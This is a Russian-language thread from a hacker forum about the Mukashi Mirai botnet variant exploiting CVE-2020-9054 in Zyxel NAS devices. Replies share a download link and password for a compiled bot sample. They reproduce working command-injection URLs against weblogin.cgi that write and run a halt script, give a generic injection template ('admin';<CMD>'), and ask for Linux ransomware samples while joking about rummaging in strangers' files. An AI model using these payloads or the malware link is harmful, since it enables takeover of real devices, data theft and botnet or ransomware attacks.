• XSS.stack #1 – первый литературный журнал от юзеров форума

Новая версия ботнета Mirai нацелена на устройства Zyxel

Отслеживать
Mre

Mre

floppy-диск
Пользователь
Регистрация
15.04.2019
Сообщения
9
Реакции
74
Mukashi сканирует Сеть на предмет уязвимых IoT-устройств, таких как маршрутизаторы, сетевые хранилища и пр.

image

Специалисты из компании Palo Alto Networks обнаружили новую версию ботнета Mirai, получившую название Mukashi, которая эксплуатирует недавно обнаруженную и исправленную критическую уязвимость ( CVE-2020-9054 ) в сетевых хранилищах (NAS) Zyxel с целью перехватить контроль над целевым устройством и использовать его для осуществления DDoS-атак.
Операторы Mukashi с помощью брутфорс-атак подбирают различные комбинации стандартных учетных данных для авторизации в Zyxel NAS, а также в UTM-, ATP- и VPN- межсетевых экранах.
Проблема затрагивает устройства с версией прошивки 5.21 и ниже. Zyxel выпустила устраняющие уязвимость обновления для четырех моделей (NAS326, NAS520, NAS540 и NAS542), однако десять других моделей (NSA210, NSA220, NSA220+, NSA221, NSA310, NSA310S, NSA320, NSA320S, NSA325 и NSA325v2) больше не поддерживаются производителем и поэтому не получат обновления. Уязвимость получила максимальные 10 баллов по шкале CVSS.
Проблема связана с некорректной обработкой исполняемым файлом weblogin.cgi входных параметров имени пользователя. Благодаря этому злоумышленник может проэксплуатировать уязвимость, включив в имя пользователя определенные символы, и внедрять команды с привилегиями web-сервера. Затем с помощью встроенной утилиты setuid он может запускать команды с привилегиями суперпользователя.
Как и другие варианты Mirai, Mukashi сканирует Сеть на предмет уязвимых IoT-устройств, таких как маршрутизаторы, сетевые хранилища, камеры наблюдения и цифровые видеорегистраторы, которые защищены только заводскими настройками или ненадежными паролями.
 
Честно говоря я не понимаю смысл использовать NASы в качестве ботов в мирае,гораздо выгоднее было бы их пошифровать имхо
сэмпл бота скомпиленого под x86,если кому-то интересно(с вт).пас дефолтный
https://www.sendspace.com/file/wouvu1
 
petroglyph сказал(а):
Честно говоря я не понимаю смысл использовать NASы в качестве ботов в мирае, гораздо выгоднее было бы их пошифровать имхо
сэмпл бота скомпиленого под x86,если кому-то интересно(с вт).пас дефолтный
https://www.sendspace.com/file/wouvu1
не сильно вникал, что там можно делать. мне было интересно не бот, а доступ к файлам NAS'a и как это реализовать на конкретном примере или на других типах NAS'ов. Что бы просто поковыряться в чужих файликах без цели криптовки)).
а пас дефолтный, это адрес этого сайта? но никакие варианты его не подходят))
 
Mre сказал(а):
не сильно вникал, что там можно делать. мне было интересно не бот, а доступ к файлам NAS'a и как это реализовать на конкретном примере или на других типах NAS'ов.
посмотри описание цвехи
пароль Infected
https://krebsonsecurity[.]com/2020/02/zyxel-fixes-0day-in-network-storage-devices/ кстати смотрите кто тут у нас засветился у крэбса 500mhz :)
1585239602900.png
пс удивлен что нульдеи под такой мусор стоят по 20к$.Я в своем говнороутере от зихель нашел 5 штук дырок просто пока ковырялся в админке.
Можед тоже стать зироди рисиорчир ?
 
Последнее редактирование:
Забавная была ситуация: Кребс просил не выкидывать в паблик PoC, но в тот же день появился сервис, который позволял чекнуть девайс на уязвимость
Нажимаем "View page source" и видим
Код: 
 stages = new Array('http://' + ip + '/adv,/cgi-bin/weblogin.cgi?username=admin%27%3Becho%20/usr/local/apache/web_framework/%5C%5C%3E%20%2Ftmp%2F1.sh+%23&password=asdf', 'http://' + ip + '/adv,/cgi-bin/weblogin.cgi?username=admin%27%3Becho%20bin/executer_su%20/sbin/halt%3E%3E%20%2Ftmp%2F1.sh+%23&password=asdf', 'http://' + ip + '/adv,/cgi-bin/weblogin.cgi?username=admin%27%3Bsh%20/tmp/1.sh+%23&password=asdf');
Или если упростить:
Код: 
GET /adv,/cgi-bin/weblogin.cgi?username=admin%27%3B<CMD>+%23&password=xxxx HTTP/1.0

Ну и bad_packets в своем твиттере "не палили" как могли
https://twitter.com/x/status/1241051978026741764

Кстати на форуме bleeping computer уже появились жертвы криптолокера, хотя пресса продолжает дристать про ШОК ДДОС МИРАИ БОТНЕТ ЗАРАЖАИТ ZYXEL NAS!!
https://www.bleepingcomputer[.]com/...-ransomware-hr;-ransom-notetxt-support-topic/
 
Последнее редактирование:
Bertor сказал(а):
Забавная была ситуация: Кребс просил не выкидывать в паблик PoC, но в тот же день появился сервис, который позволял чекнуть девайс на уязвимость
Нажимаем "View page source" и видим
Код: 
 stages = new Array('http://' + ip + '/adv,/cgi-bin/weblogin.cgi?username=admin%27%3Becho%20/usr/local/apache/web_framework/%5C%5C%3E%20%2Ftmp%2F1.sh+%23&password=asdf', 'http://' + ip + '/adv,/cgi-bin/weblogin.cgi?username=admin%27%3Becho%20bin/executer_su%20/sbin/halt%3E%3E%20%2Ftmp%2F1.sh+%23&password=asdf', 'http://' + ip + '/adv,/cgi-bin/weblogin.cgi?username=admin%27%3Bsh%20/tmp/1.sh+%23&password=asdf');
Или если упростить:
Код: 
GET /adv,/cgi-bin/weblogin.cgi?username=admin%27%3B<CMD>+%23&password=xxxx HTTP/1.0

Ну и bad_packets в своем твиттере "не палили" как могли
https://twitter.com/x/status/1241051978026741764

Кстати на форуме bleeping computer уже появились жертвы криптолокера, хотя пресса продолжает дристать про ШОК ДДОС МИРАИ БОТНЕТ ЗАРАЖАИТ ZYXEL NAS!!
https://www.bleepingcomputer[.]com/...-ransomware-hr;-ransom-notetxt-support-topic/
Ыыы,прикольно конечно.20к за уязвимость в виде дефолтных пасов в роутере
Кстати судя по всему,там данные бэкапятся и кто-то уже даже восстановил все что хотел
энивей,можно хэшик или лучше сэмпл если есть?Рансомов под линь особо не видел,было бы интересно глянуть
 
petroglyph сказал(а):
Ыыы,прикольно конечно.20к за уязвимость в виде дефолтных пасов в роутере
Кстати судя по всему,там данные бэкапятся и кто-то уже даже восстановил все что хотел
энивей,можно хэшик или лучше сэмпл если есть?Рансомов под линь особо не видел,было бы интересно глянуть
На сколько я понял, там суть не в дефолтных пассах, а в символах
';
после логина, т.е. логин\пасс могут быть любыми
 
admin


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх